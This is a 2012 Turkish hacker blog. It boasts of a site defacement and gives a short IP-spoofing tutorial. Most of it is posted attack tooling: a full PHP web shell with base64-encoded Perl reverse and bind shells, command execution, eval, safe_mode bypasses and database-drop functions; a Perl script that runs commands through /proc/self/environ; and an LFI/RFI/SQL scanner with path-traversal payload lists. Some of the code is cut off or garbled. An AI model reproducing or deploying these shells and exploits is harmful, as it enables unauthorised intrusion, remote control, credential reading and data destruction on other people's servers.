GLOBAL HACKER eL-CeWaD Priv Blog / root@cw

Ayyildiz.org Hacklendi

eL-CeWaD — Mon, 30 Jan 2012 07:30:37 +0000

Merhaba dostlar helikopter , araba , uçak , teyyare , füze , uydu vs vs şeyler düşüren Sözde Hekır Grubu ayyildiz.org Feyklendi

Geçmiş olsun AYT olur boyle şeyler üzmeyin kendinizi

2011 Yılında olay yaratan ve Dünya sıralamasında 5. sırada bulunan ve Dünya’nın Anonymous den sonra en iyi hacker grubu seçilenTurkguvenligi adlı hacker grubu tarafından yapıldığı görülen saldırı sonrasında Türkiye’nin önde gelen hack platformu sitesi ve Türk basında büyük yankılar uyandıran internet sitesi Ayyildiz.org hacklendi.
Dünya basınında büyük yankılar uyandıran ve 2011 yılında yapmış olduğu büyük saldırılar ile Dünya basınında büyük yankı bulan, Türk basınıda ise fazla yankı bulmayan büyük olaylara imza atan Turkguvenligi adlı hacker grubu Ayyildiz.org hackledi.

Saldırı sonrasında hacklenen intenret sitesine ise ilgin sözlerin yer aldığı index bırakıldı,

” eskiden botnet çektiğiniz siteyi hekledik diye haber yaptırıyodunuz.
şimdi botnet bile çekmeden haber yaptırıyosunuz. ne zaman hek öğrenmeyi düşünüyosunuz?
en çok şu pentagon bize saldırmak için kapanıyo lafına yarıldık. o kullandığın maddeden bize de versene

bizim haberler, satılık türk medyasında değil dünya basınında çıkar, ordan takip edersiniz. öptük panpişler.

“Turkguvenligi: Biz varken hekin tadı yok”

bs’ye selam heke devam

hek öğrenmek isterseniz uğrayın bi ara

http://ayyildiz.org

http://www.zone-h.org/mirror/id/16804691

İp spoofing nedir nasıl kullanılır?

eL-CeWaD — Thu, 19 Jan 2012 18:58:44 +0000

İnternet veya ağa bağlı sisteminizle başka birsisteme bağlanacaksınız, ama bu bağlantın sizin tarafınızdan yapıldığını gizlemek istiyorsunuz. Bunun için bağlantı sırasında kimliğinizi (ki TCP/IP protokollerinde kimliğiniz IP adresinizdir), yanlış gösteriyorsunuz. İşte bu yaptığını işleme IP Spoofing denir ( Hani bunun teknik makale üslubu? ). Yani yaptığınız bağlantıda IP adresinizi karşıdaki bilgisayara farklı gösterme işlemine IP Spoofing denir.

IP SPOOFING YÖNTEMLERİ:

IP Spoofing iki şekilde yapılır. Proxy/Socks sunucularını kullanarak, veya IP paketlerini editleyerek. Proxy/Socks sunucusu kullanmak basit bir yöntemdir. Daha çok web/IRC bağlantılarında IPyi gizlemek için kullanılır. IP paketlerini editleyerek yapılan IP Spoofing çok etkilidir ve genel olarak D.o.S saldırılarında veya session-hijacking yönteminde kullanılır.

PROXY/SOCKS KULLANIMI:

Internetde gezdiğiniz sitelerin sizin IP adresinizi loglarında tutmaması için, kullandığınız browserın bağlantı ayarlarına girerek bir proxy sunucusu üzerinden bağlantı yapmasını sağlayabilirsiniz. Buşekilde siz aslında proxy sunucusuna bağlanmış olurken, proxy sunucusu sizin yerinize hedefbilgisayara bağlanmış olacaktır.

Örnek:

MySystem:1059 -> MyProxy:8080

MyProxy:1039 -> MyTarget:80

Önce sistemimiz (MySystem) kullanmak istediğimiz proxy`ye (MyProxy), proxynin portundan bağlanıyor. Proxy portları 80, 3128, 8080 gibi değişik portlar olabilir. Bu bağlantı sağlanınca,sistemimiz daha üst bir protokol ile (HTTP, HTTPS), bağlanmak istediği hedef (MyTarget)bilgisayarla ilgili bilgiyi proxy`ye yolluyor. Proxy`de hedef bilgisayara bağlanıp bizim gönderdiklerimizi ona, ondan gelen bilgileri, bizim sistemimize aktarıyor. Böylece hedefbilgisayarın bağlantı loglarına bizim değil Proxy`nin IPsi geçmiş oluyor. Yalnız bazı proxy yazılımları bu konuda tam olarak IP saklama özelliğine sahip değil. Bizim isteğimizi karşı tarafa yollarken, bizim IPmizide HTTP başlığına ekleyenler var. Logların incelenmesi durumunda bağlantının gerçekten kim adına istenmiş olduğu ortaya çıkıyor. Proxy kullanımının da IP adresinizin gizlenmesiyle ilgili bir de şu tehlike var. Sizin IP adresiniz, hedef bilgisayara iletilmese de proxy loglarında tutuluyor. Bu yüzden hedef bilgisayarın admini, proxy sunucusunun loglarına başvurup sizin IPnizi bulabilir.

Eğer IP adresimizi webde surf yaparken değil de, başka bir TCP bağlantısında spoof etmek istiyorsak socks sunucusu kullanabiliriz. Socks sunucuları genelde 1080. porttan bağlantı kabul ederler ve kullanıcıya Proxy sunucusundan çok daha fazla seçenek sunar. Socks sunucusu kullanarak telnet, ftp, IRC gibi TCP bağlantısı kabul eden her sunucuya bağlanabilirsiniz. Socks sunucusu ile sistemimiz haberleşmek için TCP bağlantısını yaptıktan sonra socks protokolünü kullanır.

Örnek:

MySystem:1075 -> MySocks:1080

MySocks:1043 -> MyTarget:ftp

Proxy bağlantısında olduğu gibi yine sistemimiz önce socks sunucusuna bağlanır.

Mıhlayıcı 2010 shell

eL-CeWaD — Tue, 17 Jan 2012 08:13:26 +0000

";
$formg="";
$nowaddress='';
if (isset($_FILES["filee"]) and ! $_FILES["filee"]["error"]) {
   move_uploaded_file($_FILES["filee"]["tmp_name"], $_FILES["filee"]["name"]);
   $ifupload="Uploaded  ";
}
if ($_REQUEST['chmode'] && $_REQUEST['chmodenum']){
chmod($_POST['chmode'],"0".$_POST['chmodenum']);
}
$head='

Moon

 


File
Manger -- Command Execute -- Back Connect --
BypasS Command eXecute(SF-DF) --
BypasS Directory -- 
Eval -- Data Base -- 
Server Information


';
$end=' 
Coded by Amin Shokohi (Pejvak)
 Oh My God!
 Permission Denied".$end;
if ($_GET['do']=="edit" && $_GET['filename']!="dir"){
if(is_readable($_GET['address'].$_GET['filename'])){
$opedit=fopen($_GET['address'].$_GET['filename'],"r");
while(!feof($opedit))
$data.=fread($opedit,9999);
fclose($opedit);
echo $head.$formp.$nowaddress.'
File Name : '.$_GET['address'].$_GET['filename'].'
'.htmlspecialchars("$data", ENT_QUOTES).'

'.$end;exit;
}else{echo $deny;exit;}}
function sizee($size)
{
 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
 else {$size = $size . " B";}
 return $size;
}
function deleteDirectory($dir) {
if (!file_exists($dir)) return true;
if (!is_dir($dir) || is_link($dir)) return unlink($dir);
foreach (scandir($dir) as $item) {
if ($item == '.' || $item == '..') continue;
if (!deleteDirectory($dir . "/" . $item)) {
chmod($dir . "/" . $item, 0777);
if (!deleteDirectory($dir . "/" . $item)) return false;
};}return rmdir($dir);}
if($_GET['do']=="rename"){
echo $head.$formp.$nowaddress.' To 
'.$end;exit;
}
if ($_REQUEST['cdirname']){
if(is_writable($_REQUEST['address'])){
mkdir($_REQUEST['address'].$slash.$_REQUEST['cdirname'],"0777");}else{echo $deny;exit;}}
function bcn($ipbc,$pbc){
$bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3
NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb
MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw
dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n
IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo
YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN
LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0
KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll
KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog
IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4
ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow==";
$opbc=fopen("bcc.pl","w");
fwrite($opbc,base64_decode($bcperl));
fclose($opbc);
system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}
function wbp($wb){
$wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj
cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j
a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu
ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs
IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl
IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO
VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT
VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g";
$opwb=fopen("wbp.pl","w");
fwrite($opwb,base64_decode($wbp));
fclose($opwb);
echo getcwd();
system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}
function lbp($wb){
$lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv
YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg
U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF
VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO
QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw
dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7
b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o
Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g";
$oplb=fopen("lbp.pl","w");
fwrite($oplb,base64_decode($lbp));
fclose($oplb);
system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}

if($_REQUEST['portbw']){
wbp($_REQUEST['portbw']);

}if($_REQUEST['portbl']){
lbp($_REQUEST['portbl']);
}
if($_REQUEST['ipcb'] && $_REQUEST['portbc']){
bcn($_REQUEST['ipcb'],$_REQUEST['portbc']);

}

if($_REQUEST['do']=="bc"){
echo $head.$formp."Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )
<<<<<< Back Connect >>>>>>
Ip Address :  Port : 
".$formp."
Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )
<<<<<< Windows Bind Port >>>>>>
Port : 
".$formp."
Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )
<<<<<< Linux Bind Port >>>>>>
Port : 
".$end;exit;

}

if ($_REQUEST['copyname'] && $_REQUEST['cpyto']){
if(is_writable($_REQUEST['cpyto'])){

copy($_REQUEST['address'].$slash.$_REQUEST['copyname'],$_REQUEST['cpyto']);
}else{echo $deny;exit;}}
if($_REQUEST['cfilename']){

echo $head.$formp.$nowaddress.'
Create File


'.$end;exit;
}

if($_REQUEST['nf4c'] && $_REQUEST['nf4cs']){
if(is_writable($_REQUEST['address'])){

$ofile4c=fopen($_REQUEST['address'].$slash.$_REQUEST['nf4c'],"w");
fwrite($ofile4c,$_REQUEST['nf4cs']);
fclose($ofile4c);
}else{echo $deny;exit;}}

function sqlclienT(){
global $t,$errorbox,$et,$hcwd;
if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){
$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];
$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB'];
$_SESSION[server]=$_REQUEST['serveR'];$_SESSION[type]=$_REQUEST['typE'];$_SESSION[pass]=$_REQUEST['pasS'];$_SESSION[user]=$_REQUEST['useR'];

}

if (isset ($_GET[select_db])){
	$getdb=$_GET[select_db];
	$_SESSION[db]=$getdb;
	$query="SHOW TABLES";
	$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
}
elseif (isset ($_GET[select_tbl])){
	$tbl=$_GET[select_tbl];
	$_SESSION[tbl]=$tbl;
	$query="SELECT * FROM `$tbl`";
	$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
}
elseif (isset ($_GET[drop_db])){
	$getdb=$_GET[drop_db];
	$_SESSION[db]=$getdb;
	$query="DROP DATABASE `$getdb`";
	querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'',$query);
	$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'','SHOW DATABASES');
}
elseif (isset ($_GET[drop_tbl])){
	$getbl=$_GET[drop_tbl];
	$query="DROP TABLE `$getbl`";
	querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
	$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],'SHOW TABLES');
}
elseif (isset ($_GET[drop_row])){
	$getrow=$_GET[drop_row];
	$getclm=$_GET[clm];
	$query="DELETE FROM `$_SESSION[tbl]` WHERE $getclm='$getrow'";
	$tbl=$_SESSION[tbl];
	querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
	$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],"SELECT * FROM `$tbl`");
}
else
	$res=querY($type,$server,$user,$pass,$db,$query);

if($res){
$res=htmlspecialchars($res);
$row=array ();
$title=explode('[+][+][+]',$res);
$trow=explode('[-][-][-]',$title[1]);
$row=explode('|+|+|+|+|+|',$title[0]);
$data=array();
$field=$trow[count($trow)-2];
if (strstr($trow[0],'Database')!='')
	$obj='db';
elseif (substr($trow[0],0,6)=='Tables')
	$obj='tbl';
else
	$obj='row';
$i=0;
foreach ($row as $a){
if($a!='')
$data[$i++]=explode('|-|-|-|-|-|',$a);
}

echo "";
foreach ($trow as $ti)
echo "";
echo "";
$j=0;
while ($data[$j]){
	echo "";
	foreach ($data[$j++] as $dr){
		echo "";
	}
	echo "";
}
echo "$ti
";
		if($obj!='row') echo "";
		echo $dr;
		if($obj!='row') echo "";
		echo " Drop

";

}

if(empty($_REQUEST['typE']))$_REQUEST['typE']='';
echo "Connect to Database
DB Type: 
Server Address: 
Username: 
Password: 
Submit a Query
DB Name: 
Query: ";
if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES';
echo "
$hcwd
$et";
}

function querY($type,$host,$user,$pass,$db='',$query){
$res='';
switch($type){
case 'MySQL':
if(!function_exists('mysql_connect'))return 0;
$link=mysql_connect($host,$user,$pass);
if($link){
if(!empty($db))mysql_select_db($db,$link);
$result=mysql_query($query,$link);
if ($result!=1){
while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
$res.='[+][+][+]';
for($i=0;$i ';

if(FALSE==curl_exec($ch))
	die('>Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');

echo '  ';

curl_close($ch);
}
if ($_REQUEST['bypcu']){
bypcu($_REQUEST['bypcu']);
}
if($_REQUEST['do']=="bypasscmd"){
if($_POST['bycw']){
echo $_POST['bycw'];
$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll');
            $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['bycw']."");
            $stdout = $exec->StdOut();
            $stcom = $stdout->ReadAll();}

echo $head.'';if($_POST['byws']){passthru("\\".$_POST['byws']);} echo $stcom.'
Bypass Safe_Mode And Disable_Functions In Windows Server
'.$formp.'Command 
Bypass Safe_Mode Windows Server
'.$formp.'Command '.$end;exit;;
}
if($_REQUEST['do']=="bypassdir"){
if($_POST['byoc']){
if(copy("compress.zlib://".$_POST['byoc'], getcwd()."/"."peji.txt")){
$bopens="Bypass Succesfull Plz Read File Peji.txt In This Folder";
}else{$bopens="Can Not Bypass This";}
}
if($_POST['byfc']){
curl_init("file:///".$_POST['byfc']."\x00/../../../../../../../../../../../../".__FILE__);
$debfc=curl_exec($ch);
}
if($_POST['byetc']){
for($bye=0;$bye<40000;$bye++){   //cat /etc/passwd
$sbep =$sbep. posix_getpwuid($bye);
}}
if($_POST['byfc9']){
echo "not sucsfull";
}
if($_REQUEST['bysyml']){
$file=$_REQUEST['bysyml'];
bywsym($file);
}
echo $head.'';if($_POST['byws']){passthru("\\".$_POST['byws']);}if(isset($sbep)){for($fbe=0;$fbe<count($sbep);$fbe++){echo $sbep[$fbe];}} if(isset($debfc)){var_dump($debfc);} echo $bopens.'
Bypass Safe_Mode And Open_basedir With Bug Copy(Zlib) Worked In 4.4.2 .. 5.1.2
'.$formp.'Address File 
Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.4.2 and 5.1.4
'.$formp.'Address File 
Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.X ... 5.2.9
'.$formp.'Address File 
Bypass /Etc/Passwd
'.$formp.'
Bypass With ini_restore'.$formp.'
Bypass With Symlink Worked In 5.x.x 5.2.11 With Bug Symlink'.$formp.' 
'.$formp.'Bypass Safe And Open_basedir With Bug Curl Worked In 4.x.x ... 5.2.9'.$formp.' '.$end;exit;;

}
if($_POST['nameren'] && $_POST['addressren']){
if(is_writable($_REQUEST['addressren'])){

rename($_POST['addressren'],$_POST['nameren']);}else{echo $deny;exit;}
}
if($_GET['do']=="delete"){

if ($_GET['type']=="dir"){
if(is_writable($_REQUEST['address'])){
$dir=$_GET['address'].$_GET['filename'];
deleteDirectory($dir);
}elseif($_GET['type']=="file"){
if(is_writable($_GET['address'].$_GET['filename'])){

unlink($_GET['address'].$_GET['filename']);}else{echo $deny;exit;}
}
}}
if($_POST['fedit'] && $_POST['namefe']){
if(is_writable($_REQUEST['address'])){

$opensave=fopen($_POST['address'].$slash.$_POST['namefe'],"w");
echo bazam;
fwrite($opensave,$_POST['fedit']);
fclose($opensave);}else{echo $deny;exit;}
}
if ($_POST['evalsource']){

eval($_POST['evalsource']);
}
if($_GET['do']=="eval"){
echo $head.$formp.$nowaddress.'
'.$end;exit;
}
if($_GET['do']=="info"){
if(ini_get('safe_mode')){
$safe_modes="On";
}else{
$safe_modes="Off";
}
if(ini_get('disable_functions')){
$disablef=ini_get('disable_functions');
}else{
$disablef="All Functions Enable";
}
if(ini_get('register_globals')){
$registerg="Enable";
}else{
$registerg="disable";
}
if(extension_loaded('curl')){
$curls="Enable";
}else{
$curls="disable";
}
if(@function_exists('mysql_connect')){
$db_on = "Mysql : On";
};
if(@function_exists('mssql_connect')){
$db_on = "Mssql : On";
};
if(@function_exists('pg_connect')){
$db_on = "PostgreSQL : On";
};if(@function_exists('ocilogon')){
$db_on = "Oracle : On";
};

echo $head."Operating System : ".php_uname()."
Server Name : ".$_SERVER['HTTP_HOST']."
Disable_Functions : ".$disablef."
Safe_Mode : ".$safe_modes."
Openbase_dir : ".ini_get('openbase_dir')."
Php Version : ".phpversion()."
Free Space : ".sizee(disk_free_space("/"))."
Total Space : ".sizee(disk_total_space("/"))."
Register_Globals : ".$registerg."
Curl : ".$curls."
Database ".$db_on."
Server Name : ".$_SERVER['HTTP_HOST']."
Admin Server : ".$_SERVER['SERVER_ADMIN'].$end;
exit;
}
if ($_GET['do']=="cmd"){
echo $head.'


';if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){
echo $_GET['execmethod']($_GET['command']);}
if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){
popen($_GET['command'],"r");}

echo'

 
'.$end;exit;}
if($_GET['do']=="db"){
echo $head;sqlclienT();echo $end;
exit;
}
if($_REQUEST['file2ch'] && $_REQUEST['chmodnow']){
$chmodnum2=$_REQUEST['chmodnow'];
chmod($_REQUEST['file2ch'],"0".$chmodnum2);
}
if($_GET['do']=="chmod"){
echo $head.$formg.$nowaddress."Chmod
 To  
".$end;exit;

}
if($_GET['do']=="edit"){
if($_GET['filename']=="dir"){
if(is_readable($_GET['address'].$_GET['filew'])){
chdir($_GET['address'].$_GET['filew']);}else{echo $deny;exit;}

}}
$araddresss=explode($slash,getcwd());
$matharrayy=count($araddresss)-1;
$addr1backk=str_replace($araddresss[$matharrayy],"",$araddresss);
for($countback=0;$countback';
$ad=getcwd();
$hand=opendir("$ad");
while (false !== ($fileee = readdir($hand))) {
        if ($fileee != "." && $fileee != "..") {
		if (filetype($fileee)=="dir"){
$fil=$fil.'

'.$fileee.'
'.date("y/m/d", filectime($fileee)).' '.substr(sprintf('%o', fileperms($cwd.$slash."$fileee")), -3).' Ren
Del'
;}
else{
$file=$file.'
'.$fileee.'
'.sizee(filesize($fileee)).' '.date("y/m/d", filectime($fileee)).' '.substr(sprintf('%o', fileperms($cwd.$slash."$fileee")), -3).' Edit Ren
Del'
;}
}
}
echo $head.'

Now Directory : '.$backaddresss.'
Back
'.$fil.$file.'


'.$formg.'Change Directory


Upload --->  

'.$nowaddress.'


'.$ifupload.'


'.$formp.'Chmod ---->  File : 

  Permission :  


'.$formp.'Create Dir ----> Dirctory Name 


'.$nowaddress.' 


'.$formp.'Create File ----> Name File 

'.$nowaddress.' 


'.$formp.'Copy ---->  File : 

 To Directory  


Coded by Amin Shokohi (Pejvak)
iTSecTeam.com';

Lfi Command Exploit

eL-CeWaD — Mon, 16 Jan 2012 14:31:26 +0000

#!/usr/bin/perl -w
use strict;
use LWP 5.64;
use LWP::UserAgent;
my $browser = LWP::UserAgent->new;
my $url = $ARGV[0];
my ($line,$response);
$url .= "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ";
print "Perintah : ";
while( $line = ) {
         chop($line);
         $browser->agent("bash /dev/stdout\");?>bash");
         $response = $browser->get( $url );
         if ($response->content =~ /bash(.*)bash/s) {
                 print $1;
         }
         print "Command: ";
 }

Priv8 reverse İp Tool

eL-CeWaD — Mon, 16 Jan 2012 14:29:22 +0000

’ >
Masukkan ipadress: ’ name=ip />

if($_POST['reverse']):

echo ”Reversing IP: ”.$_POST['ip'].”
”;
flush();
sleep(1);

$host = ”www.ip-adress.com”;
$query = ”/reverse_ip/”.$_POST['ip'];

$sock = fsockopen($host,”80″,$errno,$errstr,30);
if ($sock) {
$get = ”GET ”.$query.” HTTP/1.1\r\n”.
“Host: ”.$host.”\r\n”.
“Accept: */*\r\n”.
“User-Agent: HNFox/5.0\r\n”.
“Connection: Close\r\n\r\n”;
fputs($sock,$get);
while (!feof($sock)) {
$output .= trim(fgets($sock, 3600)).”\n”;
}
fclose($sock);
}
else{
echo ”Failed! Gak bisa konek ke ip-adress.com!”;
exit();
}

$browsing = explode(“\n”,$output);
$c = 1;
foreach($browsing as $i => $v){
if(eregi(‘id=”hostcount”‘,$v)){
echo ”Host Found: ”.strip_tags($v).”
”;
}
if(eregi(‘class=”odd”‘,$v) || eregi(‘class=”even”‘,$v)){
$key = $i+3;
echo $c.”. ”.strip_tags($browsing[$key]).”
”;
$c++;
}
flush();
sleep(1);
}
echo ”7Reversing Done!”;

endif;

exit();

LFI, RFI, SQL – Scanner

eL-CeWaD — Mon, 16 Jan 2012 12:22:04 +0000

izleyici LFI/RFI/SQL Scanner
set_time_limit(0);
if (isset($_GET["do"])) {
$do = explode(“:”,$_GET["do"]);
if ($do[0] == ”selected”) {selected($do[1]); }
elseif ($do[0] == ”scantime”) { scantime($do[1]); }

} else { main(); }

function main(){
echo ’LFI, RFI, SQL - Scanner

Site to test:

’;
$link = $_POST['scan'];
preg_match(‘@^(?:http://)?([^/]+)@i’,$link, $matches);
$host = $matches[1];

function getLinks($link) {
$ret = array();
$dom = new domDocument;
@$dom->loadHTML(file_get_contents($link));
$dom->preserveWhiteSpace = false;
$links = $dom->getElementsByTagName(‘a’);
foreach ($links as $tag)
{
$ret[$tag->getAttribute('href')] = $tag->childNodes->item(0)->nodeValue;
}
return $ret;
}
if (isset($_POST["searchn"])) {
echo ’’;
echo ”
Links found:

’.$link.’
’;
}
$urls = getLinks($link);
if(sizeof($urls) > 0)
{
foreach($urls as $key=>$value)
{
if (preg_match(“/=/i”, $key)) {
if (preg_match(“/.com|.net|.org|.co.uk|.com.au|.us/”, $key)) {
echo ’’.$key.’
’;
}
else{
echo ’’.$host.’/’.$key.’
’;
}
}
}
echo ”

”;
}
else
{
echo ””;
echo ”No exploitable links found at $link

”;
}
echo ””;
}
}

function selected(){
echo ’’;
$sites = $_POST['sites'];
$n = count($sites);
$i = 0;
$r = 1;
echo ”Testing..” .
“

$r. $siteedit”;
rfi($siteedit);
lfi($siteedit);
sql($siteedit);
$i++;
$r++;
}
echo ”

”;
echo ”Test again”;
}

function lfi($site) {
$lfifound = 0;
$lfi = array(
“/etc/passwd”,
“../etc/passwd”,
“../../etc/passwd”,
“../../../etc/passwd”,
“../../../../etc/passwd”,
“../../../../../etc/passwd”,
“../../../../../../etc/passwd”,
“../../../../../../../etc/passwd”,
“../../../../../../../../etc/passwd”,
“../../../../../../../../../etc/passwd”,
“../../../../../../../../../../etc/passwd”,
“../../../../../../../../../../../etc/passwd”,
“../../../../../../../../../../../../etc/passwd”,
“../../../../../../../../../../../../../etc/passwd”,
“../../../../../../../../../../../../../../etc/passwd”,
“../../../../../../../../../../../../../../../etc/passwd”,
“/etc/passwd%00″,
“../etc/passwd%00″,
“../../etc/passwd%00″,
“../../../etc/passwd%00″,
“../../../../etc/passwd%00″,
“../../../../../etc/passwd%00″,
“../../../../../../etc/passwd%00″,
“../../../../../../../etc/passwd%00″,
“../../../../../../../../etc/passwd%00″,
“../../../../../../../../../etc/passwd%00″,
“../../../../../../../../../../etc/passwd%00″,
“../../../../../../../../../../../etc/passwd%00″,
“../../../../../../../../../../../../etc/passwd%00″,
“../../../../../../../../../../../../../etc/passwd%00″,
“../../../../../../../../../../../../../../etc/passwd%00″,
“../../../../../../../../../../../../../../../etc/passwd%00″,
“/proc/self/environ”,
“../proc/self/environ”,
“../../proc/self/environ”,
“../../../proc/self/environ”,
“../../../../proc/self/environ”,
“../../../../../proc/self/environ”,
“../../../../../../proc/self/environ”,
“../../../../../../../proc/self/environ”,
“../../../../../../../../proc/self/environ”,
“../../../../../../../../../proc/self/environ”,
“../../../../../../../../../../proc/self/environ”,
“/../../../../../../../../../../../proc/self/environ”,
“../../../../../../../../../../../../proc/self/environ”,
“../../../../../../../../../../../../../proc/self/environ”,
“../../../../../../../../../../../../../../proc/self/environ”,
“../../../../../../../../../../../../../../../proc/self/environ”,
“/proc/self/environ%00″,
“../proc/self/environ%00″,
“../../proc/self/environ%00″,
“../../../proc/self/environ%00″,
“../../../../proc/self/environ%00″,
“../../../../../proc/self/environ%00″,
“../../../../../../proc/self/environ%00″,
“../../../../../../../proc/self/environ%00″,
“../../../../../../../../proc/self/environ%00″,
“../../../../../../../../../proc/self/environ%00″,
“../../../../../../../../../../proc/self/environ%00″,
“/../../../../../../../../../../../proc/self/environ%00″,
“../../../../../../../../../../../../proc/self/environ%00″,
“../../../../../../../../../../../../../proc/self/environ%00″,
“../../../../../../../../../../../../../../proc/self/environ%00″,
“../../../../../../../../../../../../../../../proc/self/environ%00″
);

$totallfi = count($lfi);
for($i=0; $i<$totallfi; $i++)
{
$GET = @file_get_contents(“$site$lfi[$i]“);
if (preg_match(“/root/i”,$GET, $matches)) {
echo ”LFI found: $site$lfi[$i]
”;
$lfifound = 1;
}
}
if ($lfifound == 0) {
echo ”No LFI found.
”;
}
}

versiyon bulucu

eL-CeWaD — Mon, 16 Jan 2012 12:19:06 +0000


	 
	 
	 

	 
	 ';

$siteler        =  $_POST["siteler"];
$smf            =  'Powered by SMF';
$joomla         =  'Joomla!';
$vbulletin      =  'Powered by vBulletin';

if(! $siteler =='')
{

$curl           =  curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
$explode        =  explode("\n",$siteler);
foreach ($explode as $ver)
{
$trim           = trim($ver);
curl_setopt($curl,CURLOPT_URL,$trim);
$hayde          =curl_exec($curl);

     if (eregi ($smf,$hayde))
     {
     ob_flush();
     flush();
     usleep(100000);
     echo 'smf bulundu : '.$trim.'';
     }

     elseif (eregi ($joomla,$hayde))
     {
     ob_flush();
     flush();
     usleep(100000);
